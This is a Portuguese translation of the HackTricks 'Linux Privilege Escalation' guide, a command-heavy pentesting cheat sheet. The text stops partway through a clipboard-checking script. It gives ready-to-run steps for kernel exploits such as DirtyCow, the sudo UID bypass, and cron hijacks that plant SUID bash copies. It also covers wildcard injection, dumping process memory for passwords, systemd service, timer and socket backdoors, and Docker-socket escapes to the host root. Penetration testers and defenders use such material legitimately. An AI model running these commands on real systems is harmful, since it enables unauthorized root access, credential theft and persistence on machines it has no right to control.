Linux Privilege Escalation

Suporte ao HackTricks

Informações do Sistema

Informações do SO

Vamos começar adquirindo conhecimento sobre o SO em execução.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Caminho

Se você tiver permissões de escrita em qualquer pasta dentro da variável PATH, você pode ser capaz de sequestrar algumas bibliotecas ou binários:

echo $PATH

Informações do Ambiente

Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?

(env || set) 2>/dev/null

Exploits do Kernel

Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Pode encontrar uma boa lista de kernels vulneráveis e alguns exploits já compilados aqui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits. Outros sites onde pode encontrar alguns exploits compilados: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Para extrair todas as versões de kernel vulneráveis a partir desse site, pode fazer:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

As ferramentas que podem ajudar a procurar por exploits de kernel são:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (execute NO alvo, verifica apenas exploits para kernel 2.x)

Sempre pesquise a versão do kernel no Google, talvez sua versão do kernel esteja mencionada em algum exploit de kernel e assim você terá certeza de que esse exploit é válido.

CVE-2016-5195 (DirtyCow)

Escalação de Privilégios no Linux - Kernel Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Versão do Sudo

Com base nas versões vulneráveis do sudo que aparecem em:

searchsploit sudo

Você pode verificar se a versão do sudo é vulnerável usando este comando grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

De @sickrov

sudo -u#-1 /bin/bash

Falha na verificação da assinatura Dmesg

Verifique a caixa smasher2 do HTB para um exemplo de como essa vulnerabilidade poderia ser explorada

dmesg 2>/dev/null | grep "signature"

Mais enumeração do sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerar possíveis defesas

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield é uma técnica de proteção de memória que visa prevenir a execução de código em áreas de memória marcadas como somente leitura.

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

ASLR (Address Space Layout Randomization) é uma técnica de segurança que randomiza a posição de carga de processos no espaço de endereçamento da memória, dificultando prever endereços de memória específicos para explorar vulnerabilidades.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Fuga do Docker

Se você estiver dentro de um contêiner do Docker, pode tentar escapar dele:

Docker Security

Drives

Verifique o que está montado e desmontado, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar informações privadas.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software útil

Enumerar binários úteis

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Também, verifique se qualquer compilador está instalado. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você pretende usá-lo (ou em uma similar)

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software Vulnerável Instalado

Verifique a versão dos pacotes e serviços instalados. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalonamento de privilégios... É recomendado verificar manualmente a versão do software instalado mais suspeito.

dpkg -l #Debian
rpm -qa #Centos

Se você tem acesso SSH à máquina, também pode usar o openVAS para verificar se há software desatualizado e vulnerável instalado na máquina.

Obsere que esses comandos mostrarão muitas informações que serão em sua maioria inúteis, portanto é recomendado o uso de aplicativos como o OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos

Processos

Dê uma olhada em quais processos estão sendo executados e verifique se algum processo possui mais privilégios do que deveria (talvez um tomcat sendo executado por root?)

ps aux
ps -ef
top -n 1

Sempre verifique se há depuradores electron/cef/chromium em execução, você pode abusar deles para escalar privilégios. O Linpeas detecta esses depuradores verificando o parâmetro --inspect na linha de comando do processo. Também verifique seus privilégios sobre os binários dos processos, talvez você consiga sobrescrever algo.

Monitoramento de Processos

Você pode usar ferramentas como pspy para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido.

Memória do Processo

Alguns serviços de um servidor salvam credenciais em texto claro na memória. Normalmente você precisará de privilégios de root para ler a memória de processos pertencentes a outros usuários, portanto isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais. No entanto, lembre-se de que como usuário regular você pode ler a memória dos processos que você possui.

Observe que hoje em dia a maioria das máquinas não permite ptrace por padrão, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado.

O arquivo /proc/sys/kernel/yama/ptrace_scope controla a acessibilidade do ptrace:

  • kernel.yama.ptrace_scope = 0: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava.

  • kernel.yama.ptrace_scope = 1: apenas um processo pai pode ser depurado.

  • kernel.yama.ptrace_scope = 2: Apenas o administrador pode usar o ptrace, pois requer a capacidade CAP_SYS_PTRACE.

  • kernel.yama.ptrace_scope = 3: Nenhum processo pode ser rastreado com ptrace. Uma reinicialização é necessária para habilitar o rastreamento novamente.

GDB

Se você tiver acesso à memória de um serviço FTP (por exemplo), você poderia obter o Heap e procurar por suas credenciais.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script do GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Para um determinado ID de processo, o arquivo maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo; ele também mostra as permissões de cada região mapeada. O arquivo pseudo mem expõe a própria memória dos processos. A partir do arquivo maps, sabemos quais regiões de memória são legíveis e seus deslocamentos. Usamos essas informações para procurar no arquivo mem e despejar todas as regiões legíveis em um arquivo.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornece acesso à memória física do sistema, não à memória virtual. O espaço de endereço virtual do kernel pode ser acessado usando /dev/kmem. Normalmente, /dev/mem só é legível pelo usuário root e pelo grupo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump para Linux

ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte de ferramentas Sysinternals para Windows. Obtenha em https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Ferramentas

Para fazer dump da memória de um processo, você pode usar:

Credenciais da Memória do Processo

Exemplo Manual

Se você descobrir que o processo do autenticador está em execução:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Você pode despejar o processo (consulte as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

A ferramenta https://github.com/huntergregal/mimipenguin irá roubar credenciais em texto claro da memória e de alguns arquivos conhecidos. Requer privilégios de root para funcionar corretamente.

RecursoNome do Processo

Senha do GDM (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Conexões FTP Ativas)

vsftpd

Apache2 (Sessões de Autenticação Básica HTTP Ativas)

apache2

OpenSSH (Sessões SSH Ativas - Uso de Sudo)

sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tarefas agendadas/Cron jobs

Verifique se alguma tarefa agendada está vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (vulnerabilidade de curinga? pode modificar arquivos que o root usa? usar links simbólicos? criar arquivos específicos no diretório que o root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Caminho do Cron

Por exemplo, dentro do /etc/crontab você pode encontrar o PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Observe como o usuário "user" tem privilégios de escrita sobre /home/user)

Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o caminho. Por exemplo: * * * * root overwrite.sh Então, você pode obter um shell root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron usando um script com um caractere curinga (Injeção de Curinga)

Se um script é executado pelo root e possui um "*" dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como escalonamento de privilégios). Exemplo:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se o caractere curinga é precedido de um caminho como /algum/caminho/* , não é vulnerável (mesmo ./* não é).

Leia a seguinte página para mais truques de exploração de caracteres curinga:

Wildcards Spare tricks

Se você puder modificar um script cron executado pelo root, você pode obter um shell muito facilmente:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se o script executado pelo root usar um diretório onde você tem acesso total, talvez seja útil excluir essa pasta e criar um link simbólico para outra servindo um script controlado por você.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Trabalhos cron frequentes

Você pode monitorar os processos para procurar processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa se aproveitar disso e escalar privilégios.

Por exemplo, para monitorar a cada 0,1s durante 1 minuto, ordenar por comandos menos executados e excluir os comandos que foram mais executados, você pode fazer:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Você também pode usar pspy (isso irá monitorar e listar todos os processos que são iniciados).

Trabalhos cron invisíveis

É possível criar um trabalho cron colocando um retorno de carro após um comentário (sem caractere de nova linha), e o trabalho cron irá funcionar. Exemplo (observe o caractere de retorno de carro):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Serviços

Arquivos .service graváveis

Verifique se você pode escrever em algum arquivo .service, se puder, você poderá modificá-lo para que ele execute sua backdoor quando o serviço for iniciado, reiniciado ou parado (talvez seja necessário aguardar até que a máquina seja reiniciada). Por exemplo, crie sua backdoor dentro do arquivo .service com ExecStart=/tmp/script.sh

Binários de serviço graváveis

Lembre-se de que se você tiver permissões de escrita sobre binários executados por serviços, você pode alterá-los para backdoors, para que quando os serviços forem reexecutados, as backdoors também sejam executadas.

PATH do systemd - Caminhos Relativos

Você pode ver o PATH usado pelo systemd com:

systemctl show-environment

Se você descobrir que pode escrever em qualquer uma das pastas do caminho, talvez consiga aumentar os privilégios. Você precisa procurar por caminhos relativos sendo usados em arquivos de configuração de serviços como:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Em seguida, crie um executável com o mesmo nome que o caminho relativo do binário dentro da pasta PATH do systemd em que você pode escrever e, quando o serviço for solicitado a executar a ação vulnerável (Start, Stop, Reload), sua backdoor será executada (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar sudo -l).

Saiba mais sobre serviços com man systemd.service.

Temporizadores

Temporizadores são arquivos de unidade systemd cujo nome termina em **.timer** que controlam arquivos ou eventos **.service**. Temporizadores podem ser usados como uma alternativa ao cron, pois possuem suporte integrado para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.

Você pode enumerar todos os temporizadores com:

systemctl list-timers --all

Timers graváveis

Se você pode modificar um timer, você pode fazer com que ele execute alguns existentes de systemd.unit (como um .service ou um .target)

Unit=backdoor.service

Na documentação, você pode ler o que é a Unidade:

A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.

Portanto, para abusar dessa permissão, você precisaria:

  • Encontrar alguma unidade do systemd (como um .service) que esteja executando um binário gravável

  • Encontrar alguma unidade do systemd que esteja executando um caminho relativo e que você tenha privilégios de gravação sobre o PATH do systemd (para se passar por esse executável)

Saiba mais sobre temporizadores com man systemd.timer.

Ativando o Temporizador

Para ativar um temporizador, você precisa de privilégios de root e executar:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Observe que o temporizador é ativado criando um link simbólico para ele em /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Os Sockets de Domínio Unix (UDS) permitem a comunicação entre processos nos mesmos ou em diferentes computadores dentro de modelos cliente-servidor. Eles utilizam arquivos de descritores Unix padrão para comunicação entre computadores e são configurados por meio de arquivos .socket.

Os Sockets podem ser configurados usando arquivos .socket.

Saiba mais sobre sockets com man systemd.socket. Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Essas opções são diferentes, mas um resumo é usado para indicar onde ele vai escutar o socket (o caminho do arquivo de socket AF_UNIX, o número de porta IPv4/6 para escutar, etc.)

  • Accept: Aceita um argumento booleano. Se for verdadeiro, uma instância de serviço é iniciada para cada conexão recebida e apenas o socket de conexão é passado para ela. Se for falso, todos os sockets de escuta em si são passados para a unidade de serviço iniciada, e apenas uma unidade de serviço é iniciada para todas as conexões. Esse valor é ignorado para sockets de datagrama e FIFOs, onde uma única unidade de serviço lida incondicionalmente com todo o tráfego de entrada. O padrão é falso. Por motivos de desempenho, é recomendado escrever novos daemons apenas de uma maneira adequada para Accept=no.

  • ExecStartPre, ExecStartPost: Aceita uma ou mais linhas de comando, que são executadas antes ou depois dos sockets/FIFOs de escuta serem criados e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.

  • ExecStopPre, ExecStopPost: Comandos adicionais que são executados antes ou depois dos sockets/FIFOs de escuta serem fechados e removidos, respectivamente.

  • Service: Especifica o nome da unidade de serviço a ser ativada no tráfego de entrada. Essa configuração só é permitida para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção.

Arquivos .socket graváveis

Se você encontrar um arquivo .socket gravável, você pode adicionar no início da seção [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor e a porta dos fundos será executada antes que o socket seja criado. Portanto, você provavelmente precisará esperar até que a máquina seja reiniciada. Obs: o sistema deve estar usando essa configuração de arquivo de socket, caso contrário, a porta dos fundos não será executada

Sockets graváveis

Se você identificar algum socket gravável (agora estamos falando sobre Sockets Unix e não sobre os arquivos de configuração .socket), então você pode se comunicar com esse socket e talvez explorar uma vulnerabilidade.

Enumerar Sockets Unix

netstat -a -p --unix

Conexão direta

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exemplo de exploração:

Socket Command Injection

Sockets HTTP

Observe que pode haver alguns sockets ouvindo por requisições HTTP (Não estou falando sobre arquivos .socket, mas sim sobre arquivos que atuam como sockets Unix). Você pode verificar isso com:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se o socket responder com uma solicitação HTTP, então você pode comunicar-se com ele e talvez explorar alguma vulnerabilidade.

Socket Docker Gravável

O socket do Docker, frequentemente encontrado em /var/run/docker.sock, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário root e membros do grupo docker. Possuir acesso de escrita a este socket pode levar à escalada de privilégios. Aqui está uma explicação de como isso pode ser feito e métodos alternativos se o CLI do Docker não estiver disponível.

Escalada de Privilégios com o Docker CLI

Se você tiver acesso de escrita ao socket do Docker, você pode escalar privilégios usando os seguintes comandos:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Estes comandos permitem que você execute um contêiner com acesso de nível raiz ao sistema de arquivos do host.

Usando a API do Docker diretamente

Nos casos em que o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a API do Docker e comandos curl.

  1. Listar Imagens do Docker: Obtenha a lista de imagens disponíveis.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Criar um Contêiner: Envie uma solicitação para criar um contêiner que monta o diretório raiz do sistema host.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Inicie o contêiner recém-criado:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Anexar ao Contêiner: Use socat para estabelecer uma conexão com o contêiner, permitindo a execução de comandos dentro dele.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Após configurar a conexão socat, você pode executar comandos diretamente no contêiner com acesso de nível raiz ao sistema de arquivos do host.

Outros

Observe que se você tiver permissões de gravação sobre o socket do docker porque está dentro do grupo docker você tem mais maneiras de elevar privilégios. Se a API do docker estiver ouvindo em uma porta você também pode ser capaz de comprometê-la.

Confira mais maneiras de escapar do docker ou abusar dele para elevar privilégios em:

Docker Security

Escalação de privilégios do Containerd (ctr)

Se você descobrir que pode usar o comando ctr, leia a seguinte página, pois você pode ser capaz de abusar dele para elevar privilégios:

Containerd (ctr) Privilege Escalation

Escalação de privilégios do RunC

Se você descobrir que pode usar o comando runc, leia a seguinte página, pois você pode ser capaz de abusar dele para elevar privilégios:

RunC Privilege Escalation

D-Bus

D-Bus é um sofisticado sistema de Comunicação entre Processos (IPC) que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, ele oferece um framework robusto para diferentes formas de comunicação de aplicativos.

O sistema é versátil, suportando IPC básico que aprimora a troca de dados entre processos, lembrando sockets de domínio UNIX aprimorados. Além disso, ele auxilia na transmissão de eventos ou sinais, promovendo a integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer com que um player de música seja silenciado, aprimorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicativos, simplificando processos que tradicionalmente eram complexos.

O D-Bus opera em um modelo de permitir/negar, gerenciando permissões de mensagem (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo das regras de política correspondentes. Essas políticas especificam interações com o barramento, potencialmente permitindo a escalada de privilégios por meio da exploração dessas permissões.

Um exemplo de tal política em /etc/dbus-1/system.d/wpa_supplicant.conf é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de fi.w1.wpa_supplicant1.

Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não são abrangidos por outras políticas específicas.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Aprenda como enumerar e explorar uma comunicação D-Bus aqui:

D-Bus Enumeration & Command Injection Privilege Escalation

Rede

É sempre interessante enumerar a rede e descobrir a posição da máquina.

Enumeração genérica

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Portas abertas

Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifique se você consegue farejar o tráfego. Se conseguir, você poderá ser capaz de obter algumas credenciais.

timeout 1 tcpdump

Utilizadores

Enumeração Genérica

Verifique quem você é, quais privilégios você possui, quais utilizadores estão nos sistemas, quais podem fazer login e quais têm privilégios de root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Algumas versões do Linux foram afetadas por um bug que permite que usuários com UID > INT_MAX escalarem privilégios. Mais informações: aqui, aqui e aqui. Explorá-lo usando: systemd-run -t /bin/bash

Grupos

Verifique se você é um membro de algum grupo que poderia conceder a você privilégios de root:

Interesting Groups - Linux Privesc

Área de transferência

Verifique se há algo interessante localizado dentro da área de transferência (se possível)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then